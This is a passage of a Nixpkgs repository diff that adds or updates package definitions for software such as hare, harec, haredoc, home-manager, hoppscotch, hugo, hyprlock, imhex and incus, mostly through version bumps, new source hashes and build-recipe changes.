fetchFromGitLab +, gobject-introspection +, meson +, ninja +, pkg-config +, vala +, glib +, libgee +, libxml2 +, gitUpdater +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "gxml"; + version = "0.20.3"; + + outputs = [ "out" "dev" "devdoc" ]; + + src = fetchFromGitLab { + domain = "gitlab.gnome.org"; + owner = "GNOME"; + repo = "gxml"; + rev = finalAttrs.version; + hash = "sha256-GlctGxsLyQ2kPV3oBmusRiouG4PPncBTh3vgxhVaQOo="; + }; + + nativeBuildInputs = [ + gobject-introspection + meson + ninja + pkg-config + vala + ]; + + propagatedBuildInputs = [ + glib + libgee + libxml2 + ]; + + postPatch = '' + # https://gitlab.gnome.org/GNOME/gxml/-/merge_requests/24 + substituteInPlace gxml/gxml.pc.in \ + --replace-fail "includedir=@prefix@/include" "includedir=${placeholder "dev"}/include" + ''; + + doCheck = true; + + passthru.updateScript = gitUpdater { }; + + meta = with lib; { + description = "GXml provides a GObject API for manipulating XML and a Serializable framework from GObject to XML"; + homepage = "https://gitlab.gnome.org/GNOME/gxml"; + license = licenses.lgpl21Plus; + platforms = platforms.linux; + maintainers = with maintainers; [ jmarmstrong1207 ] ++ teams.gnome.members; + }; +}) diff --git a/pkgs/by-name/ha/hare/002-dont-build-haredoc.patch b/pkgs/by-name/ha/hare/002-dont-build-haredoc.patch new file mode 100644 index 0000000000000..0e921477766ea --- /dev/null +++ b/pkgs/by-name/ha/hare/002-dont-build-haredoc.patch @@ -0,0 +1,43 @@ +diff --git a/Makefile b/Makefile +index 2482be1f..9d58bc81 100644 +--- a/Makefile ++++ b/Makefile +@@ -5,7 +5,7 @@ all: + include config.mk + include makefiles/$(PLATFORM).$(ARCH).mk + +-all: $(BINOUT)/hare $(BINOUT)/haredoc docs ++all: $(BINOUT)/hare docs + + HARE_DEFINES = \ + -D PLATFORM:str='"$(PLATFORM)"' \ +@@ -79,11 +79,10 @@ docs: \ + docs/haredoc.1 \ + docs/hare-run.1 \ + docs/hare-test.1 \ +- docs/haredoc.5 \ + docs/hare-module.5 + +-MAN1 = hare hare-build hare-cache hare-deps haredoc hare-run hare-test +-MAN5 = haredoc hare-module ++MAN1 = hare hare-build hare-cache hare-deps hare-run hare-test ++MAN5 = hare-module + + bootstrap: + @BINOUT=$(BINOUT) ./scripts/genbootstrap +@@ -104,7 +103,6 @@ install-cmd: + '$(DESTDIR)$(BINDIR)' '$(DESTDIR)$(MANDIR)/man1' \ + '$(DESTDIR)$(BINDIR)' '$(DESTDIR)$(MANDIR)/man5' + install -m755 '$(BINOUT)/hare' '$(DESTDIR)$(BINDIR)/hare' +- install -m755 '$(BINOUT)/haredoc' '$(DESTDIR)$(BINDIR)/haredoc' + for i in $(MAN1); do install -m644 docs/$$i.1 '$(DESTDIR)$(MANDIR)'/man1/$$i.1; done + for i in $(MAN5); do install -m644 docs/$$i.5 '$(DESTDIR)$(MANDIR)'/man5/$$i.5; done + +@@ -115,7 +113,6 @@ install-mods: + + uninstall: + rm -- '$(DESTDIR)$(BINDIR)/hare' +- rm -- '$(DESTDIR)$(BINDIR)/haredoc' + for i in $(MAN1); do rm -- '$(DESTDIR)$(MANDIR)'/man1/$$i.1; done + for i in $(MAN5); do rm -- '$(DESTDIR)$(MANDIR)'/man5/$$i.5; done + rm -r -- '$(DESTDIR)$(STDLIB)' diff --git a/pkgs/by-name/ha/hare/package.nix b/pkgs/by-name/ha/hare/package.nix index 6f163a98d8cc2..49e4d91db7f5a 100644 --- a/pkgs/by-name/ha/hare/package.nix +++ b/pkgs/by-name/ha/hare/package.nix @@ -5,9 +5,11 @@ , harec , makeWrapper , qbe +, gitUpdater , scdoc , tzdata , substituteAll +, fetchpatch , callPackage , enableCrossCompilation ? (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.is64bit) , pkgsCross @@ -30,10 +32,12 @@ in ''; let - # We use harec's override of qbe until 1.2 is released, but the `qbe` argument - # is kept to avoid breakage. - qbe = harec.qbeUnstable; arch = stdenv.hostPlatform.uname.processor; + qbePlatform = { + x86_64 = "amd64_sysv"; + aarch64 = "arm64"; + riscv64 = "rv64"; + }.${arch}; platform = lib.toLower stdenv.hostPlatform.uname.system; embeddedOnBinaryTools = let @@ -59,15 +63,15 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "hare"; - version = "unstable-2024-02-08"; + version = "0.24.0"; outputs = [ "out" "man" ]; src = fetchFromSourcehut { owner = "~sircmpwn"; repo = "hare"; - rev = "5f65a5c112dd15efc0f0223ee895c2582e8f4915"; - hash = "sha256-Ic/2Gn3ZIJ5wKXBsNS4MHoBUfvbH3ZqAsuj7tOlDtW4="; + rev = finalAttrs.version; + hash = "sha256-3T+BdNj+Th8QXrcsPMWlN9GBfuMF1ulneWHpDEtyBU8="; }; patches = [ @@ -76,6 +80,14 @@ stdenv.mkDerivation (finalAttrs: { src = ./001-tzdata.patch; inherit tzdata; }) + # Use correct comment syntax for debug+riscv64. + (fetchpatch { + url = "https://git.sr.ht/~sircmpwn/hare/commit/80e45e4d931a6e90d999846b86471cac00d2a6d5.patch"; + hash = "sha256-S7nXpiO0tYnKpmpj+fLkolGeHb1TrmgKlMF0+j0qLPQ="; + }) + # Don't build haredoc since it uses the build `hare` bin, which breaks + # cross-compilation. + ./002-dont-build-haredoc.patch ]; nativeBuildInputs = [ @@ -96,6 +108,11 @@ stdenv.mkDerivation (finalAttrs: { "HARECACHE=.harecache" "PREFIX=${builtins.placeholder "out"}" "ARCH=${arch}" + "VERSION=${finalAttrs.version}-nixpkgs" + "QBEFLAGS=-t${qbePlatform}" + "CC=${stdenv.cc.targetPrefix}cc" + "AS=${stdenv.cc.targetPrefix}as" + "LD=${stdenv.cc.targetPrefix}ld" # Strip the variable of an empty $(SRCDIR)/hare/third-party, since nix does # not follow the FHS. "HAREPATH=$(SRCDIR)/hare/stdlib" @@ -132,6 +149,7 @@ stdenv.mkDerivation (finalAttrs: { setupHook = ./setup-hook.sh; passthru = { + updateScript = gitUpdater { }; tests = lib.optionalAttrs enableCrossCompilation { crossCompilation = callPackage ./cross-compilation-tests.nix { hare = finalAttrs.finalPackage; diff --git a/pkgs/by-name/ha/harec/package.nix b/pkgs/by-name/ha/harec/package.nix index e870e9ebce33a..e95ad7ed7095f 100644 --- a/pkgs/by-name/ha/harec/package.nix +++ b/pkgs/by-name/ha/harec/package.nix @@ -2,46 +2,44 @@ , stdenv , fetchFromSourcehut , qbe -, fetchgit +, gitUpdater }: let - # harec needs the dbgfile and dbgloc features implemented up to this commit. - # This can be dropped once 1.2 is released. For a possible release date, see: - # https://lists.sr.ht/~mpu/qbe/%3CZPkmHE9KLohoEohE%40cloudsdale.the-delta.net.eu.org%3E - qbe' = qbe.overrideAttrs (_old: { - version = "1.1-unstable-2024-01-12"; - src = fetchgit { - url = "git://c9x.me/qbe.git"; - rev = "85287081c4a25785dec1ec48c488a5879b3c37ac"; - hash = "sha256-7bVbxUU/HXJXLtAxhoK0URmPtjGwMSZrPkx8WKl52Mg="; - }; - }); - platform = lib.toLower stdenv.hostPlatform.uname.system; arch = stdenv.hostPlatform.uname.processor; + qbePlatform = { + x86_64 = "amd64_sysv"; + aarch64 = "arm64"; + riscv64 = "rv64"; + }.${arch}; in stdenv.mkDerivation (finalAttrs: { pname = "harec"; - version = "unstable-2024-02-03"; + version = "0.24.0"; src = fetchFromSourcehut { owner = "~sircmpwn"; repo = "harec"; - rev = "09cb18990266eef814917d8211d38b82e0896532"; - hash = "sha256-cxWRqGipoDATN1+V9s9S2WJ3sLMcTqIJmhP5XTld3AU="; + rev = finalAttrs.version; + hash = "sha256-NOfoCT/wKZ3CXYzXZq7plXcun+MXQicfzBOmetXN7Qs="; }; nativeBuildInputs = [ - qbe' + qbe ]; buildInputs = [ - qbe' + qbe ]; makeFlags = [ "PREFIX=${builtins.placeholder "out"}" "ARCH=${arch}" + "VERSION=${finalAttrs.version}-nixpkgs" + "QBEFLAGS=-t${qbePlatform}" + "CC=${stdenv.cc.targetPrefix}cc" + "AS=${stdenv.cc.targetPrefix}as" + "LD=${stdenv.cc.targetPrefix}ld" ]; strictDeps = true; @@ -55,9 +53,7 @@ stdenv.mkDerivation (finalAttrs: { ''; passthru = { - # We create this attribute so that the `hare` package can access the - # overwritten `qbe`. - qbeUnstable = qbe'; + updateScript = gitUpdater { }; }; meta = { diff --git a/pkgs/by-name/ha/haredoc/package.nix b/pkgs/by-name/ha/haredoc/package.nix new file mode 100644 index 0000000000000..2476e7d937c50 --- /dev/null +++ b/pkgs/by-name/ha/haredoc/package.nix @@ -0,0 +1,55 @@ +{ lib +, stdenv +, scdoc +, hare +}: +let + arch = stdenv.hostPlatform.uname.processor; +in +stdenv.mkDerivation { + pname = "haredoc"; + outputs = [ "out" "man" ]; + inherit (hare) version src; + + strictDeps = true; + enableParallelBuilding = true; + + nativeBuildInputs = [ + scdoc + hare + ]; + + preBuild = '' + HARECACHE="$(mktemp -d)" + export HARECACHE + ''; + + buildPhase = '' + runHook preBuild + + hare build -qR -a ${arch} -o haredoc ./cmd/haredoc + scdoc <docs/haredoc.1.scd >haredoc.1 + scdoc <docs/haredoc.5.scd >haredoc.5 + + runHook postBuild + ''; + + installPhase = '' + runHook preInstall + + install -Dm0755 ./haredoc $out/bin/haredoc + install -Dm0644 ./haredoc.1 $out/share/man/man1/haredoc.1 + install -Dm0644 ./haredoc.5 $out/share/man/man5/haredoc.5 + + runHook postInstall + ''; + + meta = { + homepage = "https://harelang.org/"; + description = "Hare's documentation tool"; + license = lib.licenses.gpl3Only; + maintainers = with lib.maintainers; [ onemoresuza ]; + mainProgram = "haredoc"; + inherit (hare.meta) platforms badPlatforms; + }; +} diff --git a/pkgs/by-name/he/helix-gpt/pin.json b/pkgs/by-name/he/helix-gpt/pin.json index 7d355f743953b..d79aad46aba16 100644 --- a/pkgs/by-name/he/helix-gpt/pin.json +++ b/pkgs/by-name/he/helix-gpt/pin.json @@ -1,7 +1,7 @@ { - "version": "0.27", - "srcHash": "sha256-sGkK3SaQmzprgTiABgKfRZ3pUNFZNrt/8aNANH1RES8=", + "version": "0.28", + "srcHash": "sha256-vOXY8B5CRCEQX/NnBVNwmyRKSeDSliurClRPiJIAD3Y=", "x86_64-linux": "sha256-h6wGkOfSbB8Rwm7eFvcowDdH1RdS6eFaxgf+SdYvYt8=", - "x86_64-darwin": "sha256-A8T1FNPS1CguSmRyGl+i0o/DGy+LyTnKYKdNc8kTKS8=", - "aarch64-darwin": "sha256-A8T1FNPS1CguSmRyGl+i0o/DGy+LyTnKYKdNc8kTKS8=" + "x86_64-darwin": "sha256-lkURZs6nQpsZ7SGX+eLoBEXa9VdTQP795iHAGYyRaVs=", + "aarch64-darwin": "sha256-lkURZs6nQpsZ7SGX+eLoBEXa9VdTQP795iHAGYyRaVs=" } diff --git a/pkgs/tools/package-management/home-manager/default.nix b/pkgs/by-name/ho/home-manager/package.nix index d369760f59770..dce820175938d 100644 --- a/pkgs/tools/package-management/home-manager/default.nix +++ b/pkgs/by-name/ho/home-manager/package.nix @@ -1,29 +1,29 @@ { lib -, stdenvNoCC -, fetchFromGitHub , bash , coreutils +, fetchFromGitHub , findutils , gettext , gnused +, installShellFiles , less , ncurses , nixos-option +, stdenvNoCC , unixtools -, installShellFiles , unstableGitUpdater }: stdenvNoCC.mkDerivation (finalAttrs: { pname = "home-manager"; - version = "unstable-2024-02-11"; + version = "0-unstable-2024-02-24"; src = fetchFromGitHub { name = "home-manager-source"; owner = "nix-community"; repo = "home-manager"; - rev = "bfd0ae29a86eff4603098683b516c67e22184511"; - hash = "sha256-hj/RgQMTvCWQVInkZwiMMieumkfOjHXhtWhfuXHop/8="; + rev = "4ee704cb13a5a7645436f400b9acc89a67b9c08a"; + hash = "sha256-MSbxtF3RThI8ANs/G4o1zIqF5/XlShHvwjl9Ws0QAbI="; }; nativeBuildInputs = [ @@ -40,6 +40,21 @@ stdenvNoCC.mkDerivation (finalAttrs: { install -D -m755 home-manager/home-manager $out/bin/home-manager install -D -m755 lib/bash/home-manager.sh $out/share/bash/home-manager.sh + installShellCompletion --bash --name home-manager.bash home-manager/completion.bash + installShellCompletion --fish --name home-manager.fish home-manager/completion.fish + installShellCompletion --zsh --name _home-manager home-manager/completion.zsh + + for pofile in home-manager/po/*.po; do + lang="''${pofile##*/}" + lang="''${lang%%.*}" + mkdir -p "$out/share/locale/$lang/LC_MESSAGES" + msgfmt -o "$out/share/locale/$lang/LC_MESSAGES/home-manager.mo" "$pofile" + done + + runHook postInstall + ''; + + postFixup = '' substituteInPlace $out/bin/home-manager \ --subst-var-by bash "${bash}" \ --subst-var-by DEP_PATH "${ @@ -57,19 +72,6 @@ stdenvNoCC.mkDerivation (finalAttrs: { --subst-var-by HOME_MANAGER_LIB '${placeholder "out"}/share/bash/home-manager.sh' \ --subst-var-by HOME_MANAGER_PATH "${finalAttrs.src}" \ --subst-var-by OUT '${placeholder "out"}' - - installShellCompletion --bash --name home-manager.bash home-manager/completion.bash - installShellCompletion --fish --name home-manager.fish home-manager/completion.fish - installShellCompletion --zsh --name _home-manager home-manager/completion.zsh - - for pofile in home-manager/po/*.po; do - lang="''${pofile##*/}" - lang="''${lang%%.*}" - mkdir -p "$out/share/locale/$lang/LC_MESSAGES" - msgfmt -o "$out/share/locale/$lang/LC_MESSAGES/home-manager.mo" "$pofile" - done - - runHook postInstall ''; passthru.updateScript = unstableGitUpdater { @@ -86,8 +88,8 @@ stdenvNoCC.mkDerivation (finalAttrs: { (non global) packages and dotfiles. ''; license = lib.licenses.mit; + mainProgram = "home-manager"; maintainers = with lib.maintainers; [ AndersonTorres ]; platforms = lib.platforms.unix; - mainProgram = "home-manager"; }; }) diff --git a/pkgs/by-name/ho/hoppscotch/package.nix b/pkgs/by-name/ho/hoppscotch/package.nix new file mode 100644 index 0000000000000..3e6bf1ac190ca --- /dev/null +++ b/pkgs/by-name/ho/hoppscotch/package.nix @@ -0,0 +1,71 @@ +{ lib +, stdenv +, fetchurl +, appimageTools +, undmg +, nix-update-script +}: + +let + pname = "hoppscotch"; + version = "23.12.5"; + + src = fetchurl { + aarch64-darwin = { + url = "https://github.com/hoppscotch/releases/releases/download/v${version}-1/Hoppscotch_mac_aarch64.dmg"; + hash = "sha256-WUJW38vQ7o5KEmCxhVnJ03/f5tPOTYcczrEcmt6NSCY="; + }; + x86_64-darwin = { + url = "https://github.com/hoppscotch/releases/releases/download/v${version}-1/Hoppscotch_mac_x64.dmg"; + hash = "sha256-bQFD+9IoelinWYUndzbVvPNaRde6ACPvw9ifX9mYdno="; + }; + x86_64-linux = { + url = "https://github.com/hoppscotch/releases/releases/download/v${version}-1/Hoppscotch_linux_x64.AppImage"; + hash = "sha256-MYQ7SRm+CUPIXROZxejbbZ0/wH+U5DQO4YGbE/HQAj8="; + }; + }.${stdenv.system} or (throw "Unsupported system: ${stdenv.system}"); + + meta = { + description = "Open source API development ecosystem"; + homepage = "https://hoppscotch.com"; + changelog = "https://github.com/hoppscotch/hoppscotch/releases/tag/${version}"; + platforms = [ "aarch64-darwin" "x86_64-darwin" "x86_64-linux" ]; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ DataHearth ]; + }; +in +if stdenv.isDarwin then stdenv.mkDerivation +{ + inherit pname version src meta; + + sourceRoot = "."; + + nativeBuildInputs = [ undmg ]; + + installPhase = '' + runHook preInstall + + mkdir -p "$out/Applications" + mv Hoppscotch.app $out/Applications/ + + runHook postInstall + ''; +} +else appimageTools.wrapType2 { + inherit pname version src meta; + + extraPkgs = pkgs: + appimageTools.defaultFhsEnvArgs.multiPkgs pkgs; + + extraInstallCommands = + let + appimageContents = appimageTools.extractType2 { inherit pname version src; }; + in + '' + mv $out/bin/${pname}-${version} $out/bin/${pname} + + # Install .desktop files + install -Dm444 ${appimageContents}/hoppscotch.desktop -t $out/share/applications + install -Dm444 ${appimageContents}/hoppscotch.png -t $out/share/pixmaps + ''; +} diff --git a/pkgs/by-name/ht/htb-toolkit/package.nix b/pkgs/by-name/ht/htb-toolkit/package.nix index 9930f02e38bd5..b833fed50580d 100644 --- a/pkgs/by-name/ht/htb-toolkit/package.nix +++ b/pkgs/by-name/ht/htb-toolkit/package.nix @@ -61,9 +61,10 @@ rustPlatform.buildRustPackage { meta = with lib; { description = "Play Hack The Box directly on your system"; + mainProgram = "htb-toolkit"; homepage = "https://github.com/D3vil0p3r/htb-toolkit"; - license = licenses.gpl3Plus; maintainers = with maintainers; [ d3vil0p3r ]; - mainProgram = "htb-toolkit"; + platforms = platforms.unix; + license = licenses.gpl3Plus; }; } diff --git a/pkgs/by-name/hu/hugo/package.nix b/pkgs/by-name/hu/hugo/package.nix index 9ef270fac1cd4..9033ad5c5bf5c 100644 --- a/pkgs/by-name/hu/hugo/package.nix +++ b/pkgs/by-name/hu/hugo/package.nix @@ -10,16 +10,16 @@ buildGoModule rec { pname = "hugo"; - version = "0.122.0"; + version = "0.123.7"; src = fetchFromGitHub { owner = "gohugoio"; repo = "hugo"; rev = "refs/tags/v${version}"; - hash = "sha256-pnsQo+nSuIlQ6KKTP1z/BZ74zEu9HjYP66hGStPc0pc="; + hash = "sha256-uUE694xbu508vny/sbxndGlsFXnBz45fLhieuK4sX/c="; }; - vendorHash = "sha256-aYy0TOfNIqx44UBXJhewvxi+oSAWjmi/32WvI3HJ3MM="; + vendorHash = "sha256-V7YRrC+6fOIjXOu7E0kIOZZt++4oFLPhmHeWmOVU3Xw="; doCheck = false; diff --git a/pkgs/by-name/hy/hypridle/package.nix b/pkgs/by-name/hy/hypridle/package.nix new file mode 100644 index 0000000000000..0526d741dd9d0 --- /dev/null +++ b/pkgs/by-name/hy/hypridle/package.nix @@ -0,0 +1,45 @@ +{ lib +, stdenv +, fetchFromGitHub +, pkg-config +, cmake +, wayland +, wayland-protocols +, hyprlang +, sdbus-cpp +, systemd +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "hypridle"; + version = "0.1.1"; + + src = fetchFromGitHub { + owner = "hyprwm"; + repo = "hypridle"; + rev = "v${finalAttrs.version}"; + hash = "sha256-YayFU0PZkwnKn1RSV3+i2HlSha/IFkG5osXcT0b/EUw="; + }; + + nativeBuildInputs = [ + cmake + pkg-config + ]; + + buildInputs = [ + hyprlang + sdbus-cpp + systemd + wayland + wayland-protocols + ]; + + meta = { + description = "Hyprland's idle daemon"; + homepage = "https://github.com/hyprwm/hypridle"; + license = lib.licenses.bsd3; + maintainers = with lib.maintainers; [ iogamaster ]; + mainProgram = "hypridle"; + platforms = [ "aarch64-linux" "x86_64-linux" ]; + }; +}) diff --git a/pkgs/by-name/hy/hyprlang/package.nix b/pkgs/by-name/hy/hyprlang/package.nix index b09b3e88cd957..6dc2c4fecbcc1 100644 --- a/pkgs/by-name/hy/hyprlang/package.nix +++ b/pkgs/by-name/hy/hyprlang/package.nix @@ -4,20 +4,26 @@ fetchFromGitHub, cmake, }: + stdenv.mkDerivation (finalAttrs: { pname = "hyprlang"; - version = "0.3.1"; + version = "0.4.1"; src = fetchFromGitHub { owner = "hyprwm"; repo = "hyprlang"; rev = "v${finalAttrs.version}"; - hash = "sha256-JZmXxLHYB7t95B5iJdiZml0APJn4nKrGU8M88e8Dkgs="; + hash = "sha256-upV2PWOoQ5hKbeuMwiJ4RJUa1JDVqzxdr5LL7YJJ/f4="; }; - nativeBuildInputs = [cmake]; + nativeBuildInputs = [ + cmake + ]; - outputs = ["out" "dev"]; + outputs = [ + "out" + "dev" + ]; doCheck = true; @@ -26,5 +32,6 @@ stdenv.mkDerivation (finalAttrs: { description = "The official implementation library for the hypr config language"; license = licenses.gpl3Plus; platforms = platforms.linux; + maintainers = with maintainers; [ iogamaster fufexan ]; }; }) diff --git a/pkgs/by-name/hy/hyprlock/package.nix b/pkgs/by-name/hy/hyprlock/package.nix new file mode 100644 index 0000000000000..5872e860474c8 --- /dev/null +++ b/pkgs/by-name/hy/hyprlock/package.nix @@ -0,0 +1,60 @@ +{ lib +, stdenv +, fetchFromGitHub +, cmake +, pkg-config +, libGL +, libxkbcommon +, hyprlang +, pam +, wayland +, wayland-protocols +, cairo +, pango +, libdrm +, mesa +, nix-update-script +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "hyprlock"; + version = "0.1.0"; + + src = fetchFromGitHub { + owner = "hyprwm"; + repo = "hyprlock"; + rev = "v${finalAttrs.version}"; + hash = "sha256-SX3VRcewkqeAIY6ptgfk9+C6KB9aCEUOacb2pKl3kO0="; + }; + + strictDeps = true; + + nativeBuildInputs = [ + cmake + pkg-config + ]; + + buildInputs = [ + cairo + hyprlang + libdrm + libGL + libxkbcommon + mesa + pam + pango + wayland + wayland-protocols + ]; + + passthru.updateScript = nix-update-script { }; + + meta = { + description = "Hyprland's GPU-accelerated screen locking utility"; + homepage = "https://github.com/hyprwm/hyprlock"; + license = lib.licenses.bsd3; + maintainers = with lib.maintainers; [ eclairevoyant ]; + mainProgram = "hyprlock"; + platforms = [ "aarch64-linux" "x86_64-linux" ]; + }; +}) diff --git a/pkgs/by-name/ic/icewm/package.nix b/pkgs/by-name/ic/icewm/package.nix index 9f64d08ca7710..66759cebed51f 100644 --- a/pkgs/by-name/ic/icewm/package.nix +++ b/pkgs/by-name/ic/icewm/package.nix @@ -41,13 +41,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "icewm"; - version = "3.4.5"; + version = "3.4.6"; src = fetchFromGitHub { owner = "ice-wm"; repo = "icewm"; rev = finalAttrs.version; - hash = "sha256-Auuu+hRYVziAF3hXH7XSOyNlDehEKg6QmSJicY+XQLk="; + hash = "sha256-j4o4/Q+WWuVPZM/rij2miC7ApWrBNhzve2TAPEXIU20="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/ig/igir/package.nix b/pkgs/by-name/ig/igir/package.nix index 80e22a5e4334e..fcd25d1a94814 100644 --- a/pkgs/by-name/ig/igir/package.nix +++ b/pkgs/by-name/ig/igir/package.nix @@ -10,16 +10,16 @@ buildNpmPackage rec { pname = "igir"; - version = "2.2.1"; + version = "2.5.0"; src = fetchFromGitHub { owner = "emmercm"; repo = "igir"; rev = "v${version}"; - hash = "sha256-MlLnnwlqFkzSZi+6OGS/ZPYRPjV7CY/piFvilwhhR9A="; + hash = "sha256-7gK3NTjirlaraUWGixDdeQrCip9W3X/18mbzXYOizRs="; }; - npmDepsHash = "sha256-yVo2ZKu2lEOYG12Gk5GQXamprkP5jEyKlSTZdPjNWQM="; + npmDepsHash = "sha256-2X0zCCHKFps3fN5X7rnOdD//D7RU9m4V9cyr3CgoXOE="; # I have no clue why I have to do this postPatch = '' diff --git a/pkgs/by-name/im/imhex/package.nix b/pkgs/by-name/im/imhex/package.nix index 2f1a6b927df24..7ee075ae18884 100644 --- a/pkgs/by-name/im/imhex/package.nix +++ b/pkgs/by-name/im/imhex/package.nix @@ -3,6 +3,7 @@ , cmake , llvm , fetchFromGitHub +, fetchpatch , mbedtls , gtk3 , pkg-config @@ -22,16 +23,14 @@ }: let - # FIXME: unstable, stable needs #252945 (details in #258964) - # Next version bump should be stabilized - version = "unstable-2023-10-01"; - patterns_version = "1.31.0"; + version = "1.32.2"; + patterns_version = "1.32.2"; patterns_src = fetchFromGitHub { owner = "WerWolv"; repo = "ImHex-Patterns"; rev = "ImHex-v${patterns_version}"; - hash = "sha256-lTTXu9RxoD582lXWI789gNcWvJmxmBIlBRIiyY3DseM="; + hash = "sha256-K+LiQvykCrOwhEVy37lh7VSf5YJyBQtLz8AGFsuRznQ="; }; in @@ -43,10 +42,20 @@ stdenv.mkDerivation rec { fetchSubmodules = true; owner = "WerWolv"; repo = pname; - rev = "a62ede784018f9d5aaf40587f71a1271429ab50b"; - hash = "sha256-L3ncmM7Ro60DvOF/Y0fjo2Smlw2LL8cPa8H6yVGdGAk="; + rev = "v${version}"; + hash = "sha256-MYOZHQMYbbP01z0FyoCgTzwY1/71eUCmJYYfYvN9+so="; }; + patches = [ + # Backport fixes (and fix to fix) for default plugin not being loaded. + (fetchpatch { + url = "https://github.com/WerWolv/PatternLanguage/compare/ImHex-v1.32.2..1adcdd358d3772681242267ddd3459c9d0913796.patch"; + stripLen = 1; + extraPrefix = "lib/external/pattern_language/"; + hash = "sha256-aGvt7vQ6PtFE3sw4rAXUP7Pq8cL29LEKyC0rJKkxOZI="; + }) + ]; + nativeBuildInputs = [ cmake llvm python3 perl pkg-config rsync ]; buildInputs = [ diff --git a/pkgs/by-name/im/immersed-vr/package.nix b/pkgs/by-name/im/immersed-vr/package.nix index 70cce2b976300..985c7cc38b4ce 100644 --- a/pkgs/by-name/im/immersed-vr/package.nix +++ b/pkgs/by-name/im/immersed-vr/package.nix @@ -4,12 +4,12 @@ }: appimageTools.wrapType2 rec { pname = "immersed-vr"; - version = "9.6"; + version = "9.10"; name = "${pname}-${version}"; src = fetchurl { - url = "http://web.archive.org/web/20231011083250/https://static.immersed.com/dl/Immersed-x86_64.AppImage"; - hash = "sha256-iA0SQlPktETFXEqCbSoWV9NaWVahkPa6qO4Cfju0aBQ="; + url = "https://web.archive.org/web/20240210075929/https://static.immersed.com/dl/Immersed-x86_64.AppImage"; + hash = "sha256-Mx8UnV4fZSebj9ah650ZqsL/EIJpM6jl8tYmXJZiJpA="; }; extraInstallCommands = '' diff --git a/pkgs/by-name/in/incus/client.nix b/pkgs/by-name/in/incus/client.nix index 46bf691c6951b..76f792377b100 100644 --- a/pkgs/by-name/in/incus/client.nix +++ b/pkgs/by-name/in/incus/client.nix @@ -3,12 +3,13 @@ lib, buildGoModule, + fetchpatch, fetchFromGitHub, installShellFiles, }: let releaseFile = if lts then ./lts.nix else ./latest.nix; - inherit (import releaseFile) version hash vendorHash; + inherit (import releaseFile { inherit fetchpatch; }) version hash vendorHash; in buildGoModule rec { diff --git a/pkgs/by-name/in/incus/latest.nix b/pkgs/by-name/in/incus/latest.nix index 0c0c32ba9af37..78c09a857488f 100644 --- a/pkgs/by-name/in/incus/latest.nix +++ b/pkgs/by-name/in/incus/latest.nix @@ -1,5 +1,12 @@ +{ fetchpatch }: { - hash = "sha256-3eWkQT2P69ZfN62H9B4WLnmlUOGkpzRR0rctgchP+6A="; - version = "0.5.1"; - vendorHash = "sha256-2ZJU7WshN4UIbJv55bFeo9qiAQ/wxu182mnz7pE60xA="; + hash = "sha256-tGuAS0lZvoYb+TvmCklQ8TADZhbm4w/lhdI0ycS4/0o="; + version = "0.6.0"; + vendorHash = "sha256-+WmgLOEBJ/7GF596iiTgyTPxn8l+hE6RVqjLKfCi5rs="; + patches = [ + (fetchpatch { + url = "https://github.com/lxc/incus/pull/529.patch"; + hash = "sha256-2aaPrzW/LVJidWeom0rqYOGpT2gvuV1yHLJN/TwQ1fk="; + }) + ]; } diff --git a/pkgs/by-name/in/incus/lts.nix b/pkgs/by-name/in/incus/lts.nix index d70793f94dfa1..a78deb48e23b0 100644 --- a/pkgs/by-name/in/incus/lts.nix +++ b/pkgs/by-name/in/incus/lts.nix @@ -1,3 +1,3 @@ # this release doesn't exist yet, but satisfay the by-name checks # will be added as incus-lts in all-packages.nix once ready -{ } +_: { } diff --git a/pkgs/by-name/in/incus/package.nix b/pkgs/by-name/in/incus/package.nix index 8a10f6eef7fd6..2958ab036ac9f 100644 --- a/pkgs/by-name/in/incus/package.nix +++ b/pkgs/by-name/in/incus/package.nix @@ -81,20 +81,11 @@ let ovmf-2mb = OVMF.override { secureBoot = true; - csmSupport = false; fdSize2MB = true; }; ovmf-4mb = OVMF.override { secureBoot = true; - csmSupport = false; - fdSize4MB = true; - }; - - ovmf-4mb-csm = OVMF.override { - secureBoot = true; - csmSupport = false; - fdSize2MB = false; fdSize4MB = true; }; @@ -108,10 +99,6 @@ let path = "${ovmf-2mb.fd}/FV/${ovmf-prefix}_CODE.fd"; } { - name = "OVMF_CODE.4MB.CSM.fd"; - path = "${ovmf-4mb-csm.fd}/FV/${ovmf-prefix}_CODE.fd"; - } - { name = "OVMF_CODE.4MB.fd"; path = "${ovmf-4mb.fd}/FV/${ovmf-prefix}_CODE.fd"; } @@ -129,10 +116,6 @@ let path = "${ovmf-2mb.fd}/FV/${ovmf-prefix}_VARS.fd"; } { - name = "OVMF_VARS.4MB.CSM.fd"; - path = "${ovmf-4mb-csm.fd}/FV/${ovmf-prefix}_VARS.fd"; - } - { name = "OVMF_VARS.4MB.fd"; path = "${ovmf-4mb.fd}/FV/${ovmf-prefix}_VARS.fd"; } @@ -165,6 +148,7 @@ symlinkJoin { passthru = { inherit client unwrapped; + ui = callPackage ./ui.nix {}; inherit (unwrapped) tests; }; diff --git a/pkgs/by-name/in/incus/ui.nix b/pkgs/by-name/in/incus/ui.nix new file mode 100644 index 0000000000000..2aefb2c640f9e --- /dev/null +++ b/pkgs/by-name/in/incus/ui.nix @@ -0,0 +1,26 @@ +{ lxd +, fetchFromGitHub +, git +}: + +lxd.ui.overrideAttrs(prev: rec { + pname = "incus-ui"; + + zabbly = fetchFromGitHub { + owner = "zabbly"; + repo = "incus"; + rev = "8bbe23f42beedd845bd95069c06f4d0c85e450b6"; + hash = "sha256-X0I8vrhvg5mLGAY8oEU/nr2pvDJ8ZqLUSY9WBqwmolE="; + }; + + nativeBuildInputs = prev.nativeBuildInputs ++ [ + git + ]; + + patchPhase = '' + for p in $zabbly/patches/ui-canonical*; do + echo "applying patch $p" + git apply -p1 "$p" + done + ''; +}) diff --git a/pkgs/by-name/in/incus/unwrapped.nix b/pkgs/by-name/in/incus/unwrapped.nix index 73257c5839406..7a28737ea3905 100644 --- a/pkgs/by-name/in/incus/unwrapped.nix +++ b/pkgs/by-name/in/incus/unwrapped.nix @@ -3,6 +3,7 @@ lib, buildGoModule, + fetchpatch, fetchFromGitHub, writeShellScript, acl, @@ -19,14 +20,19 @@ let releaseFile = if lts then 